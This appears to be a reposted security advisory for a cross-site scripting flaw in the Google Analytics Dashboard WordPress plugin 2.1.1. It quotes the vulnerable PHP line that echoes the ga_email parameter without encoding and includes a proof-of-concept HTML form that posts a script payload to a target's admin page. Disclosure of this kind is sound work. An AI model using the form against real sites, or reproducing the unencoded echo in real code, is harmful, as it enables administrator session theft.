WordPress Google Analytics Dashboard 2.1.1 Cross Site Scripting

CVE	Category	Price	Severity
CVE-2021-24474	CWE-79	$500	High

Author	Risk	Exploitation Type	Date
Unknown	High	Remote	2017-03-03

Our sensors found this exploit at: https://cxsecurity.com/ascii/WLB-2017030020

Below is a copy:

WordPress Google Analytics Dashboard 2.1.1 Cross Site Scripting------------------------------------------------------------------------
Cross-Site Scripting in Google Analytics Dashboard WordPress Plugin
------------------------------------------------------------------------
Yorick Koster, July 2016

------------------------------------------------------------------------
Abstract
------------------------------------------------------------------------
A Cross-Site Scripting vulnerability was found in the Google Analytics
Dashboard WordPress Plugin. This issue allows an attacker to perform a
wide variety of actions, such as stealing Administrators' session
tokens, or performing arbitrary actions on their behalf. In order to
exploit this issue, the attacker has to lure/force a logged on WordPress
Administrator into opening a malicious website.

------------------------------------------------------------------------
OVE ID
------------------------------------------------------------------------
OVE-20160724-0026

------------------------------------------------------------------------
Tested versions
------------------------------------------------------------------------
This issue was successfully tested on Google Analytics Dashboard
WordPress Plugin version 2.1.1.

------------------------------------------------------------------------
Fix
------------------------------------------------------------------------
There is currently no fix available.

------------------------------------------------------------------------
Details
------------------------------------------------------------------------
https://sumofpwn.nl/advisory/2016/cross_site_scripting_in_google_analytics_dashboard_wordpress_plugin.html

This issue exists in the file gad-admin-options-ui.php and is caused due to the lack of output encoding on the ga_email option/request parameter.

<tr valign="top">
   <th scope="row">
      <label for="ga_email"><?php _e( 'Google Analytics Email', 'google-analytics-dashboard' ); ?></label></th>
   <td>
      <input name="ga_email" type="text" size="15" id="ga_email" class="regular-text" value="<?php echo isset( $_POST['ga_email'] ) ? $_POST['ga_email'] : get_option( 'gad_login_email' ); ?>" />
   </td>
</tr>

In order to exploit this issue, the attacker has to lure/force a logged on WordPress Administrator into opening a malicious website.

Proof of concept

<html>
   <body>
      <form action="http://<target>/wp-admin/options-general.php?page=google-analytics-dashboard%2Fgad-admin-options.php" method="POST">
         <input type="hidden" name="gad_login_type" value="client" />
         <input type="hidden" name="ga_email" value=""><script>alert(1);</script>" />
         <input type="hidden" name="ga_pass" value="password" />
         <input type="hidden" name="ga_save_pass" value="ga_save_pass" />
         <input type="hidden" name="SubmitLogin" value="Login ?" />
         <input type="submit" value="Submit request" />
      </form>
   </body>
</html>

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